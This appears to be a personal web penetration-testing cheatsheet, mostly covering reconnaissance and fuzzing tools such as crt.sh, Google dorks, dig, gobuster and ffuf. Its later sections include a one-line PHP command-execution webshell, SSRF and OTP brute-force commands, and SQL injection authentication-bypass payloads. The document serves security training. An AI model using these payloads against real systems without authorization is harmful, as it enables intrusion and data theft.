# Web pentest cheatsheetl

## Information Gathering

Consider utilizing web spiders such as [ParseHub](https://www.parsehub.com), [SpiderFoot](https://www.spiderfoot.net), and [Web Data Extractor](https://centralops.net) for extracting data from websites&#x20;

### Certificate Transparency (CT) Logs

Certificate Transparency (CT) logs offer a treasure trove of subdomain information for passive reconnaissance. These publicly accessible logs record SSL/TLS certificates issued for domains and their subdomains, serving as a security measure to prevent fraudulent certificates. For reconnaissance, they offer a window into potentially overlooked subdomains.

The `crt.sh` website provides a searchable interface for CT logs. To efficiently extract subdomains using `crt.sh` within your terminal, you can use a command like this:

```bash
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u

# jq -r '.[] | select(.name_value | contains("dev")) | .name_value': This part filters the JSON results, selecting only entries where the name_value field (which contains the domain or subdomain) includes the string "dev". The -r flag tells jq to output raw strings.
curl -s "https://crt.sh/?q=facebook.com&output=json" | jq -r '.[] | select(.name_value | contains("dev")) | .name_value' | sort -u
```

This command fetches JSON-formatted data from `crt.sh` for `example.com` (the `%` is a wildcard), extracts domain names using `jq`, removes any wildcard prefixes (`*.`) with `sed`, and finally sorts and deduplicates the results.

<https://search.censys.io/> is also a great resource for internet connecte devices, advanced filtering by domain, IP or certificate attributes.

### Web Crawling

Web crawling is the automated exploration of a website's structure. A web crawler, or spider, systematically navigates through web pages by following links, mimicking a user's browsing behavior. This process maps out the site's architecture and gathers valuable information embedded within the pages.

A crucial file that guides web crawlers is `robots.txt`. This file resides in a website's root directory and dictates which areas are off-limits for crawlers. Analyzing `robots.txt` can reveal hidden directories or sensitive areas that the website owner doesn't want to be indexed by search engines.

`Scrapy` is a powerful and efficient Python framework for large-scale web crawling and scraping projects. It provides a structured approach to defining crawling rules, extracting data, and handling various output formats.

Here's a basic Scrapy spider example to extract links from `example.com`:

Code: python

```bash
#Install Scrapy
pip3 install scrapy --break-system-packages
#Install ReconSpider and unzip it
wget https://academy.hackthebox.com/storage/modules/279/ ; unzip ReconSpider.zip
#RunSpider, this will run the spider on the give website and save the results to results.json
python3 ReconSpider.py <URL>
#Generate a spider for given URL and it will generate the spider containing the filename you specified
scrapy genspider [options] <name> <domain>
#RunSpider
#Generatespider using a predefined template
scrapy genspider -t crawl crawlinlane http://example.com
scrapy runspider <GeneratedSpiderFileName>

```

```python
#SpiderExampleGeneratedWith Scrapy
import scrapy

class ExampleSpider(scrapy.Spider):
    name = "example"
    start_urls = ['http://example.com/']

    def parse(self, response):
        for link in response.css('a::attr(href)').getall():
            if any(link.endswith(ext) for ext in self.interesting_extensions):
                yield {"file": link}
            elif not link.startswith("#") and not link.startswith("mailto:"):
                yield response.follow(link, callback=self.parse)
```

After running the Scrapy spider, you'll have a file containing scraped data (e.g., `example_data.json`). You can analyze these results using standard command-line tools. For instance, to extract all links:

Code: bash

```bash
jq -r '.[] | select(.file != null) | .file' example_data.json | sort -u
```

This command uses `jq` to extract links, `awk` to isolate file extensions, `sort` to order them, and `uniq -c` to count their occurrences. By scrutinizing the extracted data, you can identify patterns, anomalies, or sensitive files that might be of interest for further investigation.

### Search Engine Discovery

Leveraging search engines for reconnaissance involves utilizing their vast indexes of web content to uncover information about your target. This passive technique, often referred to as Open Source Intelligence (OSINT) gathering, can yield valuable insights without directly interacting with the target's systems.

By employing advanced search operators and specialized queries known as "Google Dorks," you can pinpoint specific information buried within search results. Here's a table of some useful search operators for web reconnaissance:

| Operator                | Operator Description                                         | Example                                             | Example Description                                                                     |
| ----------------------- | ------------------------------------------------------------ | --------------------------------------------------- | --------------------------------------------------------------------------------------- |
| `site:`                 | Limits results to a specific website or domain.              | `site:example.com`                                  | Find all publicly accessible pages on example.com.                                      |
| `inurl:`                | Finds pages with a specific term in the URL.                 | `inurl:login`                                       | Search for login pages on any website.                                                  |
| `filetype:`             | Searches for files of a particular type.                     | `filetype:pdf`                                      | Find downloadable PDF documents.                                                        |
| `intitle:`              | Finds pages with a specific term in the title.               | `intitle:"confidential report"`                     | Look for documents titled "confidential report" or similar variations.                  |
| `intext:` or `inbody:`  | Searches for a term within the body text of pages.           | `intext:"password reset"`                           | Identify webpages containing the term “password reset”.                                 |
| `cache:`                | Displays the cached version of a webpage (if available).     | `cache:example.com`                                 | View the cached version of example.com to see its previous content.                     |
| `link:`                 | Finds pages that link to a specific webpage.                 | `link:example.com`                                  | Identify websites linking to example.com.                                               |
| `related:`              | Finds websites related to a specific webpage.                | `related:example.com`                               | Discover websites similar to example.com.                                               |
| `info:`                 | Provides a summary of information about a webpage.           | `info:example.com`                                  | Get basic details about example.com, such as its title and description.                 |
| `define:`               | Provides definitions of a word or phrase.                    | `define:phishing`                                   | Get a definition of "phishing" from various sources.                                    |
| `numrange:`             | Searches for numbers within a specific range.                | `site:example.com numrange:1000-2000`               | Find pages on example.com containing numbers between 1000 and 2000.                     |
| `allintext:`            | Finds pages containing all specified words in the body text. | `allintext:admin password reset`                    | Search for pages containing both "admin" and "password reset" in the body text.         |
| `allinurl:`             | Finds pages containing all specified words in the URL.       | `allinurl:admin panel`                              | Look for pages with "admin" and "panel" in the URL.                                     |
| `allintitle:`           | Finds pages containing all specified words in the title.     | `allintitle:confidential report 2023`               | Search for pages with "confidential," "report," and "2023" in the title.                |
| `AND`                   | Narrows results by requiring all terms to be present.        | `site:example.com AND (inurl:admin OR inurl:login)` | Find admin or login pages specifically on example.com.                                  |
| `OR`                    | Broadens results by including pages with any of the terms.   | `"linux" OR "ubuntu" OR "debian"`                   | Search for webpages mentioning Linux, Ubuntu, or Debian.                                |
| `NOT`                   | Excludes results containing the specified term.              | `site:bank.com NOT inurl:login`                     | Find pages on bank.com excluding login pages.                                           |
| `*` (wildcard)          | Represents any character or word.                            | `site:socialnetwork.com filetype:pdf user* manual`  | Search for user manuals (user guide, user handbook) in PDF format on socialnetwork.com. |
| `..` (range search)     | Finds results within a specified numerical range.            | `site:ecommerce.com "price" 100..500`               | Look for products priced between 100 and 500 on an e-commerce website.                  |
| `" "` (quotation marks) | Searches for exact phrases.                                  | `"information security policy"`                     | Find documents mentioning the exact phrase "information security policy".               |
| `-` (minus sign)        | Excludes terms from the search results.                      | `site:news.com -inurl:sports`                       | Search for news articles on news.com excluding sports-related content.                  |

#### Google Dorking

Google Dorking, also known as Google Hacking, is a technique that leverages the power of search operators to uncover sensitive information, security vulnerabilities, or hidden content on websites, using Google Search.

Here are some common examples of Google Dorks, for more examples, refer to the [Google Hacking Database](https://www.exploit-db.com/google-hacking-database):

* Finding Login Pages:
  * `site:example.com inurl:login`
  * `site:example.com (inurl:login OR inurl:admin)`
* Identifying Exposed Files:
  * `site:example.com filetype:pdf`
  * `site:example.com (filetype:xls OR filetype:docx)`
* Uncovering Configuration Files:
  * `site:example.com inurl:config.php`
  * `site:example.com (ext:conf OR ext:cnf)` (searches for extensions commonly used for configuration files)
* Locating Database Backups:
  * `site:example.com inurl:backup`
  * `site:example.com filetype:sql`

By creatively combining these operators and crafting targeted queries, you can uncover sensitive documents, exposed directories, login pages, and other valuable information that may aid in your reconnaissance efforts.

There is a good resource that I found allowing you to generate interesting queries for Github, Shodan and Google:

{% embed url="<https://dorks.s1rn3tz.ovh>" %}

### Web Archive

The wayback mahcine is a digital archive of the World Wide Web. It allows the users to go back in time and view snapshots of a website. The Wayback Machine operates by using web crawlers to capture snapshots of websites at regular intervals automatically. These crawlers navigate through the web, following links and indexing pages, much like how search engine crawlers work. However, instead of simply indexing the information for search purposes, the Wayback Machine stores the entire content of the pages, including HTML, CSS, JavaScript, images, and other resources. Factors that influence this frequency include the website's popularity, its rate of change, and the resources available to the Internet Archive.

{% embed url="<https://web.archive.org/>" %}

{% embed url="<https://archive.org/>" %}

### Automated reconnaissance tools

These frameworks aim to provide a complete suite of tools for web reconnaissance:

* [FinalRecon](https://github.com/thewhiteh4t/FinalRecon): A Python-based reconnaissance tool offering a range of modules for different tasks like SSL certificate checking, Whois information gathering, header analysis, and crawling. Its modular structure enables easy customisation for specific needs.
* [Recon-ng](https://github.com/lanmaster53/recon-ng): A powerful framework written in Python that offers a modular structure with various modules for different reconnaissance tasks. It can perform DNS enumeration, subdomain discovery, port scanning, web crawling, and even exploit known vulnerabilities.
* [theHarvester](https://github.com/laramies/theHarvester): Specifically designed for gathering email addresses, subdomains, hosts, employee names, open ports, and banners from different public sources like search engines, PGP key servers, and the SHODAN database. It is a command-line tool written in Python.
* [SpiderFoot](https://github.com/smicallef/spiderfoot): An open-source intelligence automation tool that integrates with various data sources to collect information about a target, including IP addresses, domain names, email addresses, and social media profiles. It can perform DNS lookups, web crawling, port scanning, and more.
* [OSINT Framework](https://osintframework.com/): A collection of various tools and resources for open-source intelligence gathering. It covers a wide range of information sources, including social media, search engines, public records, and more.

```bash
#FinalRecon
 git clone https://github.com/thewhiteh4t/FinalRecon.git
 cd FinalRecon
 pip3 install -r requirements.txt
chmod +x ./finalrecon.py
./finalrecon.py --help
./finalrecon.py --url <PUTUrlHere> --sslinfo
./finalrecon.py --headers --whois --url <URL>
```

#### Perform Web Security Reconnaissance with Skipfish

```bash
skipfish -o /home/attacker/test -S /usr/share/skipfish/dictionaries/complete.wl http://[IP_Address]:8080
```

* Use HTTPRECON for general web reconnaissance. An example for tool execution could be:

```bash
httprecon http://targetsite.com
```

### Subdomain Guessing

To use `dnsenum` for subdomain brute-forcing, you'll typically provide it with the target domain and a wordlist containing potential subdomain names. The tool will then systematically query the DNS server for each potential subdomain and report any that exist.

`-r`: This option enables recursive subdomain brute-forcing, meaning that if `dnsenum` finds a subdomain, it will then try to enumerate subdomains of that subdomain.

```bash
dnsenum example.com -f subdomains.txt
dnsenum --enum inlanefreight.com -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r
```

### DNS

The Domain Name System (DNS) functions as the internet's GPS, translating user-friendly domain names into the numerical IP addresses computers use to communicate. Like GPS converting a destination's name into coordinates, DNS ensures your browser reaches the correct website by matching its name with its IP address. This eliminates memorizing complex numerical addresses, making web navigation seamless and efficient.

The `dig` command allows you to query DNS servers directly, retrieving specific information about domain names. For instance, if you want to find the IP address associated with `example.com`, you can execute the following command:

```bash
dig example.com A
dig -x example.com #get the PTR record for example.com
dig example.com MX
dig exmaple NS
dig example AAAA
dig axfr @nsztm1.digi.ninja zonetransfer.me #request full zone transfer (axfr) from the dns server responsible for zonetransfer.me
```

This command instructs `dig` to query the DNS for the `A` record (which maps a hostname to an IPv4 address) of `example.com`. The output will typically include the requested IP address, along with additional details about the query and response. By mastering the `dig` command and understanding the various DNS record types, you gain the ability to extract valuable information about a target's infrastructure and online presence.

#### WHOIS

Before using the `whois` command, you'll need to ensure it's installed on your Linux system. It's a utility available through linux package managers, and if it's not installed, it can be installed simply with

&#x20; Utilising WHOIS

```bash
 sudo apt update
 sudo apt install whois -y
```

The simplest way to access WHOIS data is through the `whois` command-line tool. Let's perform a WHOIS lookup on `facebook.com`:

&#x20; Utilising WHOIS

```bash
whois facebook.com

   Domain Name: FACEBOOK.COM
   Registry Domain ID: 2320948_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.registrarsafe.com
   Registrar URL: http://www.registrarsafe.com
   Updated Date: 2024-04-24T19:06:12Z
   Creation Date: 1997-03-29T05:00:00Z
   Registry Expiry Date: 2033-03-30T04:00:00Z
   Registrar: RegistrarSafe, LLC
   Registrar IANA ID: 3237
   Registrar Abuse Contact Email: abusecomplaints@registrarsafe.com
   Registrar Abuse Contact Phone: +1-650-308-7004
   Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
   Domain Status: serverDeleteProhibited https://icann.org/epp#serverDeleteProhibited
   Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
   Domain Status: serverUpdateProhibited https://icann.org/epp#serverUpdateProhibited
   Name Server: A.NS.FACEBOOK.COM
   Name Server: B.NS.FACEBOOK.COM
   Name Server: C.NS.FACEBOOK.COM
   Name Server: D.NS.FACEBOOK.COM
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2024-06-01T11:24:10Z <<<

[...]
Registry Registrant ID:
Registrant Name: Domain Admin
Registrant Organization: Meta Platforms, Inc.
[...]
```

The WHOIS output for `facebook.com` reveals several key details:

1. `Domain Registration`:

   * `Registrar`: RegistrarSafe, LLC
   * `Creation Date`: 1997-03-29
   * `Expiry Date`: 2033-03-30

   These details indicate that the domain is registered with RegistrarSafe, LLC, and has been active for a considerable period, suggesting its legitimacy and established online presence. The distant expiry date further reinforces its longevity.
2. `Domain Owner`:

   * `Registrant/Admin/Tech Organization`: Meta Platforms, Inc.
   * `Registrant/Admin/Tech Contact`: Domain Admin

   This information identifies Meta Platforms, Inc. as the organization behind `facebook.com`, and "Domain Admin" as the point of contact for domain-related matters. This is consistent with the expectation that Facebook, a prominent social media platform, is owned by Meta Platforms, Inc.
3. `Domain Status`:

   * `clientDeleteProhibited`, `clientTransferProhibited`, `clientUpdateProhibited`, `serverDeleteProhibited`, `serverTransferProhibited`, and `serverUpdateProhibited`

   These statuses indicate that the domain is protected against unauthorized changes, transfers, or deletions on both the client and server sides. This highlights a strong emphasis on security and control over the domain.
4. `Name Servers`:

   * `A.NS.FACEBOOK.COM`, `B.NS.FACEBOOK.COM`, `C.NS.FACEBOOK.COM`, `D.NS.FACEBOOK.COM`

   These name servers are all within the `facebook.com` domain, suggesting that Meta Platforms, Inc. manages its DNS infrastructure. It is common practice for large organizations to maintain control and reliability over their DNS resolution.

Overall, the WHOIS output for `facebook.com` aligns with expectations for a well-established and secure domain owned by a large organization like Meta Platforms, Inc.

While the WHOIS record provides contact information for domain-related issues, it might not be directly helpful in identifying individual employees or specific vulnerabilities. This highlights the need to combine WHOIS data with other reconnaissance techniques to understand the target's digital footprint comprehensively.

#### Zone Transfers

DNS zone transfers, also known as AXFR (Asynchronous Full Transfer) requests, offer a potential goldmine of information for web reconnaissance. A zone transfer is a mechanism for replicating DNS data across servers. When a zone transfer is successful, it provides a complete copy of the DNS zone file, which contains a wealth of details about the target domain.

To attempt a zone transfer, you can use the `dig` command with the `axfr` (full zone transfer) option. For example, to request a zone transfer from the DNS server `ns1.example.com` for the domain `example.com`, you would execute:

Code: bash

```bash
dig @ns1.example.com example.com axfr
```

However, zone transfers are not always permitted. Many DNS servers are configured to restrict zone transfers to authorized secondary servers only. Misconfigured servers, though, may allow zone transfers from any source, inadvertently exposing sensitive information.

#### Guess Virtualhosts

* Virtual hosting is a technique that allows multiple websites to share a single IP address. Each website is associated with a unique hostname, which is used to direct incoming requests to the correct site. This can be a cost-effective way for organizations to host multiple websites on a single server, but it can also create a challenge for web reconnaissance.

  Since multiple websites share the same IP address, simply scanning the IP won't reveal all the hosted sites. You need a tool that can test different hostnames against the IP address to see which ones respond.

  Gobuster is a versatile tool that can be used for various types of brute-forcing, including virtual host discovery. Its `vhost` mode is designed to enumerate virtual hosts by sending requests to the target IP address with different hostnames. If a virtual host is configured for a specific hostname, Gobuster will receive a response from the web server.

  To use Gobuster to brute-force virtual hosts, you'll need a wordlist containing potential hostnames. Here's an example command:

```bash
#identify first the ipaddress and add it to your /etc/hosts file. -t to increase the nr of threads, append-domain only on newer versions)
gobuster vhost -u http://192.0.2.1 -w hostnames.txt --append-domain -t 200 
gobuster vhost -u http://thetoppers.htb:PORT -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
```

```shell
#Don't forget to send the Host header containing the VHOST identified for further fuzzing
ffuf -u http://fuzzing_fun.htb:STMPO -w /usr/share/seclists/Discovery/Web-Content/common.txt -H 'Host: FUZZ.fuzzing_fun.htb:STMPO' -ac
```

\
\- Fuzzing on identified Vhost and folders

```
ffuf -u http://hidden.fuzzing_fun.htb:58715/godeep/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -H 'Host: hidden.fuzzing_fun.htb:58715/' -recursion -e .html,.txt,.php,.js -c -mc 200
```

#### Guess Subdomains&#x20;

* Use Wfuzz to replace "FUZZ" with words from your wordlist to identify subdomains:

```bash
sudo wfuzz -c -f fuzzthetoppers.txt -Z -w /home/SecLists/Discovery/DNS/subdomains-top1million-5000.txt FUZZ.thetoppers.htb
```

```basic
 gobuster dns -d inlanefreight.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 
#Show IP's of discovered subdomains
ggobuster dns -d example.com -w subdomains.txt -i
   
#Suppress output except results
gobuster dns -d example.com -w subdomains.txt -z
```

* Specify the `-x` option to filter on specific extensions:

```bash
wfuzz -c -w /usr/share/wordlists/wfuzz/general/common.txt -b "PHPSESSID=8v1ktin9mia013dhurccn4fae3; security=low" -u http://127.0.0.1:42001/vulnerabilities/fi/?page=../../hackable/flags/FUZZ.php --hl 82
```

### Web Fuzzing and directory discovery

{% hint style="info" %}
Tip: In PHP, "POST" data "content-type" can only accept "application/x-www-form-urlencoded"
{% endhint %}

<details>

<summary><strong>Tilde Enumeration using IIS ShortName Scanner</strong></summary>

IS tilde directory enumeration is a technique utilised to uncover hidden files, directories, and short file names (aka the `8.3 format`) on some versions of Microsoft Internet Information Services (IIS) web servers. This method takes advantage of a specific vulnerability in IIS, resulting from how it manages short file names within its directories.

The tilde (`~`) character, followed by a sequence number, signifies a short file name in a URL. Hence, if someone determines a file or folder's short file name, they can exploit the tilde character and the short file name in the URL to access sensitive data or hidden resources.

There is a tool called `IIS-ShortName-Scanner` that can automate this task. You can find it on GitHub at the following link: [IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner). To use `IIS-ShortName-Scanner`, you will need to install Oracle Java on either Pwnbox or your local VM. Details can be found in the following link. [How to Install Oracle Java](https://ubuntuhandbook.org/index.php/2022/03/install-jdk-18-ubuntu/)

* Download Java : <https://www.oracle.com/java/technologies/downloads/>
* Install it: `sudo apt install ~/Downloads/jdk-21_linux-x64_bin.deb`

When you run the below command, it will prompt you for a proxy, just hit enter for No.

#### IIS Tilde Enumeration

```bash
cd IIS-ShortName-Scanner/release
java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Do you want to use proxy [Y=Yes, Anything Else=No]? 
# IIS Short Name (8.3) Scanner version 2023.0 - scan initiated 2023/03/23 15:06:57
Target: http://10.129.204.231/
|_ Result: Vulnerable!
|_ Used HTTP method: OPTIONS
|_ Suffix (magic part): /~1/
|_ Extra information:
  |_ Number of sent requests: 553
  |_ Identified directories: 2
    |_ ASPNET~1
    |_ UPLOAD~1
  |_ Identified files: 3
    |_ CSASPX~1.CS
      |_ Actual extension = .CS
    |_ CSASPX~1.CS??
    |_ TRANSF~1.ASP
```

Upon executing the tool, it discovers 2 directories and 3 files. However, the target does not permit `GET` access to `http://10.129.204.231/TRANSF~1.ASP`, necessitating the brute-forcing of the remaining filename.

**Generate Custom Wordlist based on IIS\_ShortName\_Scanner output**

The pwnbox image offers an extensive collection of wordlists located in the `/usr/share/wordlists/` directory, which can be utilised for this purpose.

```bash
egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt

```

Once you have created the custom wordlist, you can use `gobuster` to enumerate all items in the target. GoBuster is an open-source directory and file brute-forcing tool written in the Go programming language. It is designed for penetration testers and security professionals to help identify and discover hidden files, directories, or resources on web servers during security assessments.

```bash
gobuster dir -u http://10.129.204.231/ -w /tmp/list.txt -x .aspx,.asp

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.204.231/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /tmp/list.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              asp,aspx
[+] Timeout:                 10s
===============================================================
2023/03/23 15:14:05 Starting gobuster in directory enumeration mode
===============================================================
/transf**.aspx        (Status: 200) [Size: 941]
Progress: 306 / 309 (99.03%)
===============================================================
2023/03/23 15:14:11 Finished
===============================================================
```

</details>

#### Fuzzing with ffuf

Requirements

```
sudo apt update
sudo apt install -y golang
sudo apt install -y python3 python3-pip
sudo apt install pipx
pipx ensurepath
sudo pipx ensurepath --global
go version
 python3 --version
```

Favorite one:

`ffuf -u http://83.136.255.136:52109/recursive_fuzz/FUZZ -recursion -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .html,.txt,.js,.php,.bak -ic -mc 200 -c`

<pre class="language-bash"><code class="lang-bash"># Install ffuf
apt install ffuf -y
go install github.com/ffuf/ffuf/v2@latest

# Display ffuf help
ffuf -h

#ffuff using a proxy
ffuf -u http://example.com/FUZZ -w wordlist.txt -x http://127.0.0.1:8080

#Filter results by matching a regex pattern.
ffuf -u http://example.com/FUZZ -w wordlist.txt -mr "Welcome"

# Directory Fuzzing in silent mode to show only the results matching the code 200
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -s -c -mc 200

#Fuzz for the index file which can be fond in most websites to fuzz for the extention used by the webserver
ffuf -w /opt/useful/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://SERVER_IP:PORT/blog/indexFUZZ

#Multiple Fuzzing, for directories and for extentions
ffuf -w /opt/useful/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ_2 -w /opt/useful/seclists/Discovery/Web-Content/directory-list-1.0.txt:FUZZ_1 -u http://83.136.251.174:36820/blog/FUZZ_1FUZZ_2 -c -mc 200 

<strong>ffuf -u http://STMIP:STMPO/webfuzzing_hidden_path/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -recursion -e .php,.txt,.html
</strong>
#Recursive scanning to automatically scan newly identified directory with -recursion flag. Specify the recursion depth that you want with -recursion-depth NR. -v to print the URL and -e to fuzz for a specific extention
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://83.136.251.174:36820/FUZZ -recursion -recursion-depth 1 -e .php -v

# Extension Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/indexFUZZ

# Page Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php

# Recursive Fuzzing with -ic to ignore comments on wordlists
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -ic -recursion -recursion-depth 1 -e .php -v

# Sub-domain Fuzzing
ffuf -w wordlist.txt:FUZZ -u https://FUZZ.example.com/

# VHost Fuzzing - with -fs you can filter out (remove) those with a specific content-size
ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://example.com:PORT/ -H 'Host: FUZZ.example.com' -fs xxx

# Parameter Fuzzing - GET 
ffuf -w seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.example.com:PORT/admin/admin.php?FUZZ=key -fs xxx

# Parameter Fuzzing - POST, -fs to filter out the size of the response
ffuf -w wordlist.txt:FUZZ -u http://admin.example.com:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs 24

# Fuzzing with specified IDs
ffuf -w ids.txt:FUZZ -u http://admin.example.com:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs 23

#fuzz for open ports through SSRF
ffuf -w ./ports.txt -u http://94.237.57.1:56764/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "api=http://localhost:FUZZ/index.php" -fr "Failed to connect to"

#fuzzing for OTP with session cookie
ffuf -w ./tokens.txt -u http://bf_2fa.htb/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=fpfcm5b8dh1ibfa7idg0he7l93" -d "otp=FUZZ" -fr "Invalid 2FA Code"

</code></pre>

#### Guess Directories Using Gobuster

* Use Gobuster to guess directories and subdomains of a specific web application:

```bash
gobuster dir -u targetsite.com -w /path/wordlist.txt
gobuster dir -u http://example.com -w wordlist.txt -x .php,.html
gobuster dir -u http://example.com -w wordlist.txt -s 200
gobuster dir -u http://example.com -w wordlist.txt -o results.txt		
```

* *Note: You can use wordlists located in `/usr/share/wordlists/*`.*

#### Directory Enumeration with Nmap

* Use Nmap to enumerate directories on a target website:

```bash
nmap -sV --script=http-enum [target_website]
```

You  can also use Burpsuite intruder and Dirbuster to discover content on the webapplication

```bash
# Directory Brute Forcing using Gobuster
gobuster dir -u http://172.25.210.128 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

# Directory Brute Forcing with FFUF
ffuf -u http://172.25.20.6:5985/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt

```

These commands are utilized for discovering directories on a web server, detecting vulnerabilities such as ShellShock, and potentially exploiting these vulnerabilities to gain unauthorized access or execute commands on the server.

#### Uniscan for Footprinting

* Footprint a website for web directory structure:

```bash
uniscan -u http://10.10.1.22:8080/CEH -q
```

* Perform a dynamic scan to extract emails, backdoors, and external hosts:

```bash
uniscan -u http://10.10.1.22:8080/CEH -d
```

####

* Detect host mappings using:

```bash
nmap --script hostmap-bfk --script-args hostmap-bfk.prefix=hostmap-www.goodshopping.com
```

* Detect web application firewalls:

```bash
nmap -p80 --script http-waf-detect www.goodshopping.com
```

* Trace HTTP requests:

```bash
nmap --script http-trace -d www.goodshopping.com
```

### Banner Grabbing

<pre class="language-bash"><code class="lang-bash">whatweb inlanefreight.com

# Extract headers with Curl to get info on used technology
<strong>curl -I inlanefreight.com
</strong><strong>
</strong>#The wafw00f scan on inlanefreight.com reveals that the website is protected by the Wordfence Web Application Firewall (WAF), developed by Defiant.
pip3 install git+https://github.com/EnableSecurity/wafw00f
wafw00f inlanefreight.com

# Nikto's fingerprinting capabilities provide insights into a website's technology stack.
 nikto -h inlanefreight.com -Tuning b #-Tuning b flag tells Nikto to only run the Software Identification modules. 
</code></pre>

<https://www.wappalyzer.com/> web extension can also be used to identify website technologies

<https://builtwith.com/> is a Web technology profiler that provides detailed reports on a website's technology stack.

```bash
nc -vv www.moviescope.com 80
telnet www.moviescope.com 80
```

## Webshells​

```bash
#Create a php webshell
Cd b374k-masterphp -f index.php -- -o shell.php -s -b -z gzcompress -c 9

#Php webshell to execute cmd commands
<?php echo system($_POST['cmd']); ?>
```

## SQL Injection Testing

#### SQLi Discovery

Before we start subverting the web application's logic and attempting to bypass the authentication, we first have to test whether the login form is vulnerable to SQL injection. To do that, we will try to add one of the below payloads after our username and see if it causes any errors or changes how the page behaves:

In some cases, we may have to use the URL encoded version of the payload. An example of this is when we put our payload directly in the URL 'i.e. HTTP GET request'.

| Payload | URL Encoded |
| ------- | ----------- |
| `'`     | `%27`       |
| `"`     | `%22`       |
| `#`     | `%23`       |
| `;`     | `%3B`       |
| `)`     | `%29`       |

{% hint style="info" %}
The MySQL documentation for [operation precedence](https://dev.mysql.com/doc/refman/8.0/en/operator-precedence.html) states that the `AND` operator would be evaluated before the `OR` operator. This means that if there is at least one `TRUE` condition in the entire query along with an `OR` operator, the entire query will evaluate to `TRUE` since the `OR` operator returns `TRUE` if one of its operands is `TRUE`.
{% endhint %}

### MySQL

| **Command**                                                       | **Description**                                          |
| ----------------------------------------------------------------- | -------------------------------------------------------- |
| **General**                                                       |                                                          |
| `mysql -u root -h docker.hackthebox.eu -P 3306 -p`                | login to mysql database                                  |
| `SHOW DATABASES`                                                  | List available databases                                 |
| `USE users`                                                       | Switch to database                                       |
| **Tables**                                                        |                                                          |
| `CREATE TABLE logins (id INT, ...)`                               | Add a new table                                          |
| `SHOW TABLES`                                                     | List available tables in current database                |
| `DESCRIBE logins`                                                 | Show table properties and columns                        |
| `INSERT INTO table_name VALUES (value_1,..)`                      | Add values to table                                      |
| `INSERT INTO table_name(column2, ...) VALUES (column2_value, ..)` | Add values to specific columns in a table                |
| `UPDATE table_name SET column1=newvalue1, ... WHERE <condition>`  | Update table values                                      |
| **Columns**                                                       |                                                          |
| `SELECT * FROM table_name`                                        | Show all columns in a table                              |
| `SELECT column1, column2 FROM table_name`                         | Show specific columns in a table                         |
| `DROP TABLE logins`                                               | Delete a table                                           |
| `ALTER TABLE logins ADD newColumn INT`                            | Add new column                                           |
| `ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn`         | Rename column                                            |
| `ALTER TABLE logins MODIFY oldColumn DATE`                        | Change column datatype                                   |
| `ALTER TABLE logins DROP oldColumn`                               | Delete column                                            |
| **Output**                                                        |                                                          |
| `SELECT * FROM logins ORDER BY column_1`                          | Sort by column                                           |
| `SELECT * FROM logins ORDER BY column_1 DESC`                     | Sort by column in descending order                       |
| `SELECT * FROM logins ORDER BY column_1 DESC, id ASC`             | Sort by two-columns                                      |
| `SELECT * FROM logins LIMIT 2`                                    | Only show first two results                              |
| `SELECT * FROM logins LIMIT 1, 2`                                 | Only show first two results starting from index 2        |
| `SELECT * FROM table_name WHERE <condition>`                      | List results that meet a condition                       |
| `SELECT * FROM logins WHERE username LIKE 'admin%'`               | List results where the name is similar to a given string |

### MySQL Operator Precedence

* Division (`/`), Multiplication (`*`), and Modulus (`%`)
* Addition (`+`) and Subtraction (`-`)
* Comparison (`=`, `>`, `<`, `<=`, `>=`, `!=`, `LIKE`)
* NOT (`!`)
* AND (`&&`)
* OR (`||`)

### SQL Injection

| **Auth Bypass**                                                                                                                            |                                                      |
| ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------- |
| `admin' or '1'='1`                                                                                                                         | Basic Auth Bypass                                    |
| `admin' or 1 = 1 -- -`                                                                                                                     |                                                      |
